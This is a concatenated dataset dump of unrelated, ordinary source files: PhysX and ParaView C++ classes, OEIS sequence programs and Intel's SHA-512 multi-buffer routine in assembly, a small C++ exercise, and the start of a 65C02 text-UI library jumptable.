text
stringlengths
1
1.05M
// // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions // are met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // * Neither the name of NVIDIA CORPORATION nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ''AS IS'' AND ANY // EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY // OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Copyright (c) 2008-2021 NVIDIA Corporation. All rights reserved. // Copyright (c) 2004-2008 AGEIA Technologies, Inc. All rights reserved. // Copyright (c) 2001-2004 NovodeX AG. All rights reserved. #include "SamplePreprocessor.h" #include "RenderBaseActor.h" #include "RenderMaterial.h" #include "RendererShape.h" #include "Renderer.h" #include "RendererMemoryMacros.h" #include "extensions/PxShapeExt.h" #include "RaycastCCD.h" #include "RenderPhysX3Debug.h" #include "PxRigidDynamic.h" #include "PxArticulationLink.h" #include "geometry/PxSphereGeometry.h" #include "geometry/PxBoxGeometry.h" #include "RenderSphereActor.h" #include "RenderCapsuleActor.h" using namespace physx; using namespace SampleRenderer; static const bool gRaycastCCD = true; RenderBaseActor::RenderBaseActor() : mRendererShape (NULL), mPhysicsShape (NULL), mDynamicActor (NULL), mArticulationLink (NULL), mMaterial (NULL), mEnableCCD (false), mEnableRender (true), mEnableDebugRender (true), mEnableCameraCull (false) { mTransform = PxTransform(PxIdentity); mWorldBounds = PxBounds3(PxVec3(0),PxVec3(0)); mCCDWitness = PxVec3(0); mCCDWitnessOffset = PxVec3(0); mPhysicsToGraphicsRot = PxQuat(PxIdentity); updateScale(); } RenderBaseActor::RenderBaseActor(const RenderBaseActor& src) : RenderBaseObject(src) { mEnableCCD = src.mEnableCCD; mEnableRender = src.mEnableRender; mEnableDebugRender = src.mEnableDebugRender; mEnableCameraCull = src.mEnableCameraCull; mTransform = src.getTransform(); mWorldBounds = PxBounds3(PxVec3(0.0f), PxVec3(0.0f)); mPhysicsShape = NULL; // PT: the physics shape is not cloned for now mDynamicActor = NULL; // PT: the physics actor is not cloned for now mArticulationLink = NULL; // PT: the articulation link is not cloned for now mMaterial = src.getRenderMaterial(); mRendererShape = NULL; setRenderShape(src.getRenderShape()); mPhysicsToGraphicsRot = src.mPhysicsToGraphicsRot; mCCDWitness = src.mCCDWitness; mCCDWitnessOffset = src.mCCDWitnessOffset; mScaling = src.mScaling; updateScale(); } RenderBaseActor::~RenderBaseActor() { deleteRenderShape(); mMaterial = NULL; // PT: we don't own this mPhysicsShape = NULL; // PT: we don't own this mDynamicActor = NULL; // PT: we don't own this } void RenderBaseActor::update(float deltaTime) { // Setup render transform from physics transform, if physics object exists if(mPhysicsShape) { if(!mArticulationLink && ( !mDynamicActor || mDynamicActor->isSleeping())) return; PxTransform newPose = PxShapeExt::getGlobalPose(*mPhysicsShape, *mPhysicsActor); PxVec3 newShapeCenter = getShapeCenter(mPhysicsActor, mPhysicsShape, mCCDWitnessOffset); bool updateCCDWitness = true; if(gRaycastCCD && mEnableCCD) updateCCDWitness = doRaycastCCD(mPhysicsActor, mPhysicsShape, newPose, newShapeCenter, mCCDWitness, mCCDWitnessOffset); // Copy physics pose to graphics pose setTransform(PxTransform(newPose.p, newPose.q * mPhysicsToGraphicsRot)); if(updateCCDWitness) mCCDWitness = newShapeCenter; setWorldBounds(PxShapeExt::getWorldBounds(*mPhysicsShape, *mPhysicsActor)); } } void RenderBaseActor::render(Renderer& renderer, RenderMaterial* material, bool wireFrame) { if(!mEnableRender) return; RenderMaterial* m = mMaterial ? mMaterial : material; PX_ASSERT(m); mRendererMeshContext.cullMode = m->mDoubleSided ? RendererMeshContext::NONE : RendererMeshContext::CLOCKWISE; mRendererMeshContext.fillMode = wireFrame ? RendererMeshContext::LINE : RendererMeshContext::SOLID; mRendererMeshContext.material = m->mRenderMaterial; mRendererMeshContext.materialInstance = m->mRenderMaterialInstance; mRendererMeshContext.mesh = mRendererShape->getMesh(); mRendererMeshContext.transform = &mScaledTransform; renderer.queueMeshForRender(mRendererMeshContext); } PxBounds3 RenderBaseActor::getWorldBounds() const { return mWorldBounds; } void RenderBaseActor::setWorldBounds(const PxBounds3& bounds) { mWorldBounds = bounds; } void RenderBaseActor::updateScale() { if (!mScaling.isIdentity()) { PxMat33 q = PxMat33(mTransform.q) * mScaling.toMat33(); mScaledTransform = PxMat44(q, mTransform.p); mRendererMeshContext.negativeScale = mScaling.hasNegativeDeterminant(); } else { mScaledTransform = PxMat44(mTransform); } } void RenderBaseActor::setPhysicsShape(PxShape* shape, PxRigidActor* actor) { mPhysicsShape = shape; mPhysicsActor = actor; if(shape) { mCCDWitness = getShapeCenter(actor, shape, mCCDWitnessOffset); const PxTransform newPose = PxShapeExt::getGlobalPose(*shape, *actor); setTransform(PxTransform(newPose.p, newPose.q * mPhysicsToGraphicsRot)); PxRigidActor& ra = *actor; mDynamicActor = ra.is<PxRigidDynamic>(); mArticulationLink = ra.is<PxArticulationLink>(); mWorldBounds = PxShapeExt::getWorldBounds(*mPhysicsShape, *mPhysicsActor); } else { mDynamicActor = NULL; } } void RenderBaseActor::setRenderMaterial(RenderMaterial* material) { mMaterial = material; } void RenderBaseActor::setRenderShape(RendererShape* shape) { PX_ASSERT(!mRendererShape); mRendererShape = shape; if(shape) { // PT: we use the user-data as a ref-counter size_t refCount = size_t(mRendererShape->m_userData); refCount++; mRendererShape->m_userData = (void*)refCount; } } void RenderBaseActor::deleteRenderShape() { if(mRendererShape) { // PT: we use the user-data as a ref-counter size_t refCount = size_t(mRendererShape->m_userData); refCount--; if(!refCount) { DELETESINGLE(mRendererShape); } else { mRendererShape->m_userData = (void*)refCount; mRendererShape = NULL; } } } void RenderBaseActor::drawDebug(RenderPhysX3Debug* debug) { // return; if(!mPhysicsShape) return; if(0 && mEnableCCD) { const PxBounds3 bounds = PxShapeExt::getWorldBounds(*mPhysicsShape, *mPhysicsActor); const PxReal scale = (bounds.maximum - bounds.minimum).magnitude(); const PxTransform pose = PxShapeExt::getGlobalPose(*mPhysicsShape, *mPhysicsActor); debug->addLine(pose.p, pose.p+PxVec3(scale, 0.0f, 0.0f), RendererColor(0, 255, 0)); debug->addLine(pose.p, pose.p+PxVec3(0.0f, scale, 0.0f), RendererColor(0, 255, 0)); debug->addLine(pose.p, pose.p+PxVec3(0.0f, 0.0f, scale), RendererColor(0, 255, 0)); const PxVec3 shapeCenter = getShapeCenter(mPhysicsActor, mPhysicsShape, mCCDWitnessOffset); //shdfnd::printFormatted("Render: %f | %f | %f\n", shapeCenter.x, shapeCenter.y, shapeCenter.z); debug->addLine(shapeCenter, shapeCenter+PxVec3(scale, 0.0f, 0.0f), RendererColor(255, 0, 0)); debug->addLine(shapeCenter, shapeCenter+PxVec3(0.0f, scale, 0.0f), RendererColor(255, 0, 0)); debug->addLine(shapeCenter, shapeCenter+PxVec3(0.0f, 0.0f, scale), RendererColor(255, 0, 0)); return; } /* BasicRandom rnd(42); const PxTransform globalShapePose = PxShapeExt::getGlobalPose(*mPhysicsShape); const RendererColor colorPurple(255, 0, 255); for(PxU32 i=0;i<50;i++) { PxVec3 dir; rnd.unitRandomPt(dir); PxVec3 localCenter; const PxReal internalRadius = computeInternalRadius(mPhysicsShape, dir, localCenter, mCCDWitnessOffset); const PxVec3 center = globalShapePose.transform(localCenter); debug->addLine(center, center+dir*internalRadius, colorPurple); }*/ }
; A078023: Expansion of (1-x)/(1-2*x^2-2*x^3). ; Submitted by Jon Maiga ; 1,-1,2,0,2,4,4,12,16,32,56,96,176,304,544,960,1696,3008,5312,9408,16640,29440,52096,92160,163072,288512,510464,903168,1597952,2827264,5002240,8850432,15659008,27705344,49018880,86728704,153448448,271495168,480354304,849887232,1503698944,2660483072,4707172352,8328364032,14735310848,26071072768,46127349760,81612767232,144396845056,255480233984,452019224576,799754158080,1414998917120,2503546765312,4429506150400,7837091364864,13866105831424,24533195030528,43406394392576,76798601723904 mov $1,1 mov $2,1 lpb $0 sub $0,1 sub $3,$2 mov $4,$2 mov $2,$3 mov $3,$1 mul $4,2 add $1,$4 add $1,$2 lpe mov $0,$2
; A169425: Number of reduced words of length n in Coxeter group on 28 generators S_i with relations (S_i)^2 = (S_i S_j)^32 = I. ; 1,28,756,20412,551124,14880348,401769396,10847773692,292889889684,7908027021468,213516729579636,5764951698650172,155653695863554644,4202649788315975388,113471544284531335476,3063731695682346057852 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 div $3,$2 mul $2,27 lpe mov $0,$2 div $0,27
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright(c) 2011-2016 Intel Corporation All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; * Neither the name of Intel Corporation nor the names of its ; contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %include "sha512_job.asm" %include "sha512_mb_mgr_datastruct.asm" %include "reg_sizes.asm" extern sha512_mb_x8_avx512 %ifidn __OUTPUT_FORMAT__, elf64 ; LINUX register definitions %define arg1 rdi ; rcx %define arg2 rsi ; rdx ; idx needs to be other than arg1, arg2, rbx, r12 %define idx rdx ; rsi %define last_len rdx ; rsi %define size_offset rcx ; rdi %define tmp2 rcx ; rdi %else ; WINDOWS register definitions %define arg1 rcx %define arg2 rdx ; idx needs to be other than arg1, arg2, rbx, r12 %define last_len rsi %define idx rsi %define size_offset rdi %define tmp2 rdi %endif ; Common definitions %define state arg1 %define job arg2 %define len2 arg2 %define p2 arg2 %define p r11 %define start_offset r11 %define unused_lanes rbx %define job_rax rax %define len rax %define lane rbp %define tmp3 rbp %define lens3 rbp %define extra_blocks r8 %define lens0 r8 %define num_lanes_inuse r9 %define tmp r9 %define lens1 r9 %define lane_data r10 %define lens2 r10 struc stack_frame .xmm: resb 16*10 .gpr: resb 8*8 .rsp: resb 8 endstruc ; STACK_SPACE needs to be an odd multiple of 8 %define _XMM_SAVE stack_frame.gpr %define _GPR_SAVE stack_frame.rsp %define STACK_SPACE stack_frame_size ; SHA512_JOB* sha512_mb_mgr_submit_avx512(SHA512_MB_JOB_MGR *state, SHA512_JOB *job) ; arg 1 : rcx : state ; arg 2 : rdx : job global sha512_mb_mgr_submit_avx512:function sha512_mb_mgr_submit_avx512: mov rax, rsp sub rsp, STACK_SPACE mov [rsp + stack_frame.rsp], rax mov [rsp + _XMM_SAVE + 8*0], rbx mov [rsp + _XMM_SAVE + 8*1], rbp mov [rsp + _XMM_SAVE + 8*2], r12 mov [rsp + _XMM_SAVE + 8*5], r13 mov [rsp + _XMM_SAVE + 8*6], r14 mov [rsp + _XMM_SAVE + 8*7], r15 %ifidn __OUTPUT_FORMAT__, win64 mov [rsp + _XMM_SAVE + 8*3], rsi mov [rsp + _XMM_SAVE + 8*4], rdi vmovdqu [rsp + 16*0], xmm6 vmovdqu [rsp + 16*1], xmm7 vmovdqu [rsp + 16*2], xmm8 vmovdqu [rsp + 16*3], xmm9 vmovdqu [rsp + 16*4], xmm10 vmovdqu [rsp + 16*5], xmm11 vmovdqu [rsp + 16*6], xmm12 vmovdqu [rsp + 16*7], xmm13 vmovdqu [rsp + 16*8], xmm14 vmovdqu [rsp + 16*9], xmm15 %endif mov unused_lanes, [state + _unused_lanes] movzx lane, BYTE(unused_lanes) shr unused_lanes, 8 imul lane_data, lane, _LANE_DATA_size mov dword [job + _status], STS_BEING_PROCESSED lea lane_data, [state + _ldata + lane_data] mov [state + _unused_lanes], unused_lanes mov DWORD(len), [job + _len] mov [lane_data + _job_in_lane], job mov [state + _lens + 4 + 8*lane], DWORD(len) ; Load digest words from result_digest vmovdqa xmm0, [job + _result_digest + 0*16] vmovdqa xmm1, [job + _result_digest + 1*16] vmovdqa xmm2, [job + _result_digest + 2*16] vmovdqa xmm3, [job + _result_digest + 3*16] vmovq [state + _args_digest + 8*lane + 0*64], xmm0 vpextrq [state + _args_digest + 8*lane + 1*64], xmm0, 1 vmovq [state + _args_digest + 8*lane + 2*64], xmm1 vpextrq [state + _args_digest + 8*lane + 3*64], xmm1, 1 vmovq [state + _args_digest + 8*lane + 4*64], xmm2 vpextrq [state + _args_digest + 8*lane + 5*64], xmm2, 1 vmovq [state + _args_digest + 8*lane + 6*64], xmm3 vpextrq [state + _args_digest + 8*lane + 7*64], xmm3, 1 mov p, [job + _buffer] mov [state + _args_data_ptr + 8*lane], p mov DWORD(num_lanes_inuse), [state + _num_lanes_inuse] add num_lanes_inuse, 1 mov [state + _num_lanes_inuse], DWORD(num_lanes_inuse) cmp num_lanes_inuse, 8 jne return_null start_loop: ; Find min length, len in sha512_mgr is 64bit, high 32bit is block num, low 8bit is idx vmovdqu ymm0, [state + _lens + 0*32] ; ymm0 has {D,d,C,c,B,b,A,a} vmovdqu ymm1, [state + _lens + 1*32] vpminuq ymm2, ymm0, ymm1 ; ymm2 has {D,i,C,i,B,i,A,i} vpalignr ymm3, ymm3, ymm2, 8 ; ymm3 has {x,i,D,i,x,i,B,i} vpminuq ymm2, ymm2, ymm3 ; ymm2 has {x,i,F,i,x,i,E,i} vperm2i128 ymm3, ymm2, ymm2, 1 ; ymm3 has {x,i,x,i,x,i,F,i} vpminuq ymm2, ymm2, ymm3 ; ymm2 has min value in high dword vmovq idx, xmm2 mov len2, idx and idx, 0xF shr len2, 32 jz len_is_0 vperm2i128 ymm2, ymm2, ymm2, 0 ; ymm2 has {x,x,E,i,x,x,E,i} vpand ymm2, ymm2, [rel clear_low_nibble] ; ymm2 has {0,0,E,0,0,0,E,0} vpshufd ymm2, ymm2, 0x44 ; ymm2 has {E,0,E,0,E,0,E,0} vpsubd ymm0, ymm0, ymm2 vpsubd ymm1, ymm1, ymm2 vmovdqu [state + _lens + 0*32], ymm0 vmovdqu [state + _lens + 1*32], ymm1 ; "state" and "args" are the same address, arg1 ; len is arg2 call sha512_mb_x8_avx512 ; state and idx are intact len_is_0: ; process completed job "idx" imul lane_data, idx, _LANE_DATA_size lea lane_data, [state + _ldata + lane_data] mov job_rax, [lane_data + _job_in_lane] mov unused_lanes, [state + _unused_lanes] mov qword [lane_data + _job_in_lane], 0 mov dword [job_rax + _status], STS_COMPLETED shl unused_lanes, 8 or unused_lanes, idx mov [state + _unused_lanes], unused_lanes mov DWORD(num_lanes_inuse), [state + _num_lanes_inuse] sub num_lanes_inuse, 1 mov [state + _num_lanes_inuse], DWORD(num_lanes_inuse) vmovq xmm0, [state + _args_digest + 8*idx + 0*64] vpinsrq xmm0, [state + _args_digest + 8*idx + 1*64], 1 vmovq xmm1, [state + _args_digest + 8*idx + 2*64] vpinsrq xmm1, [state + _args_digest + 8*idx + 3*64], 1 vmovq xmm2, [state + _args_digest + 8*idx + 4*64] vpinsrq xmm2, [state + _args_digest + 8*idx + 5*64], 1 vmovq xmm3, [state + _args_digest + 8*idx + 6*64] vpinsrq xmm3, [state + _args_digest + 8*idx + 7*64], 1 vmovdqa [job_rax + _result_digest + 0*16], xmm0 vmovdqa [job_rax + _result_digest + 1*16], xmm1 vmovdqa [job_rax + _result_digest + 2*16], xmm2 vmovdqa [job_rax + _result_digest + 3*16], xmm3 return: %ifidn __OUTPUT_FORMAT__, win64 vmovdqu xmm6, [rsp + 16*0] vmovdqu xmm7, [rsp + 16*1] vmovdqu xmm8, [rsp + 16*2] vmovdqu xmm9, [rsp + 16*3] vmovdqu xmm10, [rsp + 16*4] vmovdqu xmm11, [rsp + 16*5] vmovdqu xmm12, [rsp + 16*6] vmovdqu xmm13, [rsp + 16*7] vmovdqu xmm14, [rsp + 16*8] vmovdqu xmm15, [rsp + 16*9] mov rsi, [rsp + _XMM_SAVE + 8*3] mov rdi, [rsp + _XMM_SAVE + 8*4] %endif mov rbx, [rsp + _XMM_SAVE + 8*0] mov rbp, [rsp + _XMM_SAVE + 8*1] mov r12, [rsp + _XMM_SAVE + 8*2] mov r13, [rsp + _XMM_SAVE + 8*5] mov r14, [rsp + _XMM_SAVE + 8*6] mov r15, [rsp + _XMM_SAVE + 8*7] mov rsp, [rsp + stack_frame.rsp] ret return_null: xor job_rax, job_rax jmp return section .data align=32 align 32 clear_low_nibble: ; mgr len element 0xnnnnnnnn 0000000m, nnnnnnnn is blocknum, m is index dq 0xFFFFFFFF00000000, 0x0000000000000000 dq 0xFFFFFFFF00000000, 0x0000000000000000
; A153234: a(n) = floor(2^n/9). ; 0,0,0,0,1,3,7,14,28,56,113,227,455,910,1820,3640,7281,14563,29127,58254,116508,233016,466033,932067,1864135,3728270,7456540,14913080,29826161,59652323,119304647,238609294,477218588,954437176,1908874353,3817748707,7635497415,15270994830,30541989660,61083979320,122167958641,244335917283,488671834567,977343669134,1954687338268,3909374676536,7818749353073,15637498706147,31274997412295,62549994824590,125099989649180,250199979298360,500399958596721,1000799917193443,2001599834386887,4003199668773774,8006399337547548,16012798675095096,32025597350190193,64051194700380387,128102389400760775,256204778801521550,512409557603043100,1024819115206086200,2049638230412172401,4099276460824344803,8198552921648689607,16397105843297379214,32794211686594758428,65588423373189516856,131176846746379033713,262353693492758067427,524707386985516134855,1049414773971032269710,2098829547942064539420,4197659095884129078840,8395318191768258157681,16790636383536516315363,33581272767073032630727,67162545534146065261454,134325091068292130522908,268650182136584261045816,537300364273168522091633,1074600728546337044183267,2149201457092674088366535,4298402914185348176733070,8596805828370696353466140,17193611656741392706932280,34387223313482785413864561,68774446626965570827729123,137548893253931141655458247,275097786507862283310916494,550195573015724566621832988,1100391146031449133243665976,2200782292062898266487331953,4401564584125796532974663907,8803129168251593065949327815,17606258336503186131898655630,35212516673006372263797311260,70425033346012744527594622520 mov $1,2 pow $1,$0 div $1,9 mov $0,$1
/*========================================================================= Program: ParaView Module: $RCSfile$ Copyright (c) Kitware, Inc. All rights reserved. See Copyright.txt or http://www.paraview.org/HTML/Copyright.html for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the above copyright notice for more information. =========================================================================*/ #include "vtkTilesHelper.h" #include "vtkObjectFactory.h" vtkStandardNewMacro(vtkTilesHelper); //---------------------------------------------------------------------------- vtkTilesHelper::vtkTilesHelper() { this->TileDimensions[0] = 1; this->TileDimensions[1] = 1; this->TileMullions[0] = this->TileMullions[1] = 0; this->TileWindowSize[0] = this->TileWindowSize[1] = 300; } //---------------------------------------------------------------------------- vtkTilesHelper::~vtkTilesHelper() { } //---------------------------------------------------------------------------- static double vtkMin(double x, double y) { return x < y ? x : y; } //---------------------------------------------------------------------------- static double vtkMax(double x, double y) { return x > y ? x : y; } //---------------------------------------------------------------------------- void vtkTilesHelper::GetTileIndex(int rank, int* tileX, int* tileY) { int x = rank % this->TileDimensions[0]; int y = rank / this->TileDimensions[0]; if (y >= this->TileDimensions[1]) { y = this->TileDimensions[1] - 1; } // invert y so that the 0th rank corresponds to the top-left tile rather than // bottom left tile. y = this->TileDimensions[1] - y - 1; *tileX = x; *tileY = y; } //---------------------------------------------------------------------------- bool vtkTilesHelper::GetNormalizedTileViewport( const double* viewport, int rank, double out_tile_viewport[4]) { double normalized_mullions[2]; normalized_mullions[0] = static_cast<double>(this->TileMullions[0])/ (this->TileWindowSize[0] * this->TileDimensions[0]); normalized_mullions[1] = static_cast<double>(this->TileMullions[1])/ (this->TileWindowSize[1] * this->TileDimensions[1]); // The size of the tile as a fraction of the total display size. double normalized_tile_size[2]; normalized_tile_size[0] = 1.0/this->TileDimensions[0]; normalized_tile_size[1] = 1.0/this->TileDimensions[1]; int x, y; this->GetTileIndex(rank, &x, &y); out_tile_viewport[0] = x * normalized_tile_size[0]; out_tile_viewport[1] = y * normalized_tile_size[1]; out_tile_viewport[2] = out_tile_viewport[0] + normalized_tile_size[0]; out_tile_viewport[3] = out_tile_viewport[1] + normalized_tile_size[1]; // Now the tile for the given rank is showing the normalized viewport // indicated by out_tile_viewport. Now, we intersect it with the // viewport to return where the current viewport maps in the tile. if (viewport) { out_tile_viewport[0] = ::vtkMax(viewport[0], out_tile_viewport[0]); out_tile_viewport[1] = ::vtkMax(viewport[1], out_tile_viewport[1]); out_tile_viewport[2] = ::vtkMin(viewport[2], out_tile_viewport[2]); out_tile_viewport[3] = ::vtkMin(viewport[3], out_tile_viewport[3]); } if (out_tile_viewport[2] <= out_tile_viewport[0] || out_tile_viewport[3] <= out_tile_viewport[1]) { return false; } // Shift the entire viewport around using the mullions. out_tile_viewport[0] += x * normalized_mullions[0]; out_tile_viewport[1] += y * normalized_mullions[1]; out_tile_viewport[2] += x * normalized_mullions[0]; out_tile_viewport[3] += y * normalized_mullions[1]; return true; } //---------------------------------------------------------------------------- bool vtkTilesHelper::GetTileViewport(const double* viewport, int rank, int out_tile_viewport[4]) { double normalized_tile_viewport[4]; if (this->GetNormalizedTileViewport(viewport, rank, normalized_tile_viewport)) { out_tile_viewport[0] = static_cast<int>( normalized_tile_viewport[0] * this->TileWindowSize[0] * this->TileDimensions[0] + 0.5); out_tile_viewport[1] = static_cast<int>( normalized_tile_viewport[1] * this->TileWindowSize[1] * this->TileDimensions[1] + 0.5); out_tile_viewport[2] = static_cast<int>( normalized_tile_viewport[2] * this->TileWindowSize[0] * this->TileDimensions[0] + 0.5) - 1; out_tile_viewport[3] = static_cast<int>( normalized_tile_viewport[3] * this->TileWindowSize[1] * this->TileDimensions[1] + 0.5) -1; return true; } return false; } //---------------------------------------------------------------------------- bool vtkTilesHelper::GetPhysicalViewport( const double *global_viewport, int rank, double out_phyiscal_viewport[4]) { // Get the normalized tile-viewport for the full tile on this rank. double full_tile_viewport[4]; this->GetNormalizedTileViewport(NULL, rank, full_tile_viewport); // effectively, clamp the global_viewport to the full_tile_viewport. double clamped_global_viewport[4]; if (this->GetNormalizedTileViewport(global_viewport, rank, clamped_global_viewport) == false) { return false; } double dx = full_tile_viewport[2] - full_tile_viewport[0]; double dy = full_tile_viewport[3] - full_tile_viewport[1]; out_phyiscal_viewport[0] = (clamped_global_viewport[0] - full_tile_viewport[0]) / dx; out_phyiscal_viewport[1] = (clamped_global_viewport[1] - full_tile_viewport[1]) / dy; out_phyiscal_viewport[2] = (clamped_global_viewport[2] - full_tile_viewport[0]) / dx; out_phyiscal_viewport[3] = (clamped_global_viewport[3] - full_tile_viewport[1]) / dy; return true; } //---------------------------------------------------------------------------- void vtkTilesHelper::PrintSelf(ostream& os, vtkIndent indent) { this->Superclass::PrintSelf(os, indent); }
; A097802: a(n) = 3*(25*n + 1). ; 3,78,153,228,303,378,453,528,603,678,753,828,903,978,1053,1128,1203,1278,1353,1428,1503,1578,1653,1728,1803,1878,1953,2028,2103,2178,2253,2328,2403,2478,2553,2628,2703,2778,2853,2928,3003,3078,3153,3228,3303 mov $1,$0 mul $1,75 add $1,3
; ; HFD - High Frequency Divider Modulator ; only for compatibility with the original SFX engine HFD_MODE lda (dataPtr),y ; get modulate value sta chnModVal bne decode_HFD ; check modulation jmp modMode_notDefined ; if 0, means no modulation decode_HFD cmp #MODFN_SFX_STOP beq HFD_SFXEnd jmp change_freq HFD_SFXEnd ldy #SFX_OFF ; end of SFX definition jmp SFX_Set_Offset
/* @file Exercise9.16 * @author vleo * @date 2021.10.17 */ #include <iostream> #include <vector> #include <string> #include <list> using std::cin; using std::cout; using std::endl; using std::string ; using std::vector ; using std::list; int i = 0; bool compare(list<int>& lst,vector<int>& v) { for(auto it_list = lst.begin();it_list != lst.end(); ++it_list) { auto it_vec = v.begin() + i; if(*it_list != *it_vec) { return false; } ++i; } return true; } int main() { list<int> lst{4,5,6,7,8,9}; vector<int> v{4,5,6,7,8,9}; cout << std::boolalpha << compare(lst,v); return 0; }
!cpu w65c02 ; Program counter is set to 0 to make it easier to calculate the addresses ; in the jumptable as all that needs to be done is add the actual offset. *=$0000 ; ******************************* Jumptable *********************************** INIT: bra initialize ; No inputs SCRS: jmp vtui_screen_set ; .A = Screenmode ($00, $02 or $FF) SETB: jmp vtui_set_bank ; .C = bank number (0 or 1) SETS: jmp vtui_set_stride ; .A = Stride value SETD: jmp vtui_set_decr ; .C (1 = decrement, 0 = increment) CLRS: jmp vtui_clr_scr ; .A = Character, .X = bg-/fg-color GOTO: jmp vtui_gotoxy ; .A = x coordinate, .Y = y coordinate PLCH: jmp vtui_plot_char ; .A = character, .X = bg-/fg-color SCCH: jmp vtui_scan_char ; like plot_char HLIN: jmp vtui_hline ; .A = Character, .Y = length, .X = color VLIN: jmp vtui_vline ; .A = Character, .Y = height, .X = color PSTR: jsr vtui_print_str ; r0 = pointer to string, .X = color FBOX: jmp vtui_fill_box ; .A=Char,r1l=width,r2l=height,.X=color P2SC: jmp vtui_pet2scr ; .A = character to convert to screencode SC2P: jmp vtui_scr2pet ; .A = character to convert to petscii BORD: jsr vtui_border ; .A=border,r1l=width,r2l=height,.X=color SREC: jmp vtui_save_rect ; .C=vrambank,.A=destram,r0=destaddr,r1l=width,r2l=height RREC: jmp vtui_rest_rect ; .C=vrambank,.A=srcram,r0=srcaddr,r1l=width,r2l=height INST: jmp vtui_input_str ; r0 = pointer to buffer, .Y=max length, X=color jmp $0000 ; Show that there are no more jumps ; ******************************* Constants *********************************** OP_PHA = $48 ; PHA opcode OP_PLA = $68 ; PLA opcode OP_PHY = $5A ; PHY opcode OP_PLY = $7A ; PLY opcode OP_RTS = $60 ; RTS opcode OP_JMP_ABS = $4C ; JMP absolute opcode PLOT_CHAR = $10 ; zp jump to plot_char function HLINE = $13 ; zp jump to hline function VLINE = $16 ; zp jump to vline function PET2SCR = $19 ; zp jump to pet2scr function VERA_ADDR_L = $9F20 VERA_ADDR_M = $9F21 VERA_ADDR_H = $9F22 VERA_DATA0 = $9F23 VERA_DATA1 = $9F24 VERA_CTRL = $9F25 r0 = $02 r0l = r0 r0h = r0+1 r1 = $04 r1l = r1 r1h = r1+1 r2 = $06 r2l = r2 r2h = r2+1 r3 = $08 r3l = r3 r3h = r3+1 r4 = $0A r4l = r4 r4h = r4+1 r5 = $0C r5l = r5 r5h = r5+1 r6 = $0E r6l = r6 r6h = r6+1 r7 = $10 r7l = r7 r7h = r7+1 r8 = $12 r8l = r8 r8h = r8+1 r9 = $14 r9l = r9 r9h = r9+1 r10 = $16 r10l = r10 r10h = r10+1 r11 = $18 r11l = r11 r11h = r11+1 r12 = $1A r12l = r12 r12h = r12+1 ; *************************** Internal Macros ********************************* ; ***************************************************************************** ; Increment 16bit value ; ***************************************************************************** ; INPUT: .addr = low byte of the 16bit value to increment ; ***************************************************************************** !macro INC16 .addr { inc .addr bne .end inc .addr+1 .end: } ; ***************************************************************************** ; Add 3 to 16 bit value ; ***************************************************************************** ; INPUT: .addr = low byte of the 16bit value to increment ; ***************************************************************************** !macro ADD3 .addr { lda .addr clc adc #$03 sta .addr lda .addr+1 adc #$00 sta .addr+1 } ; ******************************* Functions *********************************** ; ***************************************************************************** ; Initialize the jumptable with correct addresses calculated from the address ; where this code is loaded. ; ***************************************************************************** ; USES: .A, .X & .Y ; r0, r1, r2 & r3 (ZP addresses $02-$09) ; ***************************************************************************** initialize: @base = r0 @ptr = r1 ; Write code to ZP to figure out where the library is loaded. ; This is done by jsr'ing to the code in ZP which in turn reads the ; return address from the stack. lda #OP_PLA sta r0 lda #OP_PLY sta r0+1 lda #OP_PHY sta r0+2 lda #OP_PHA 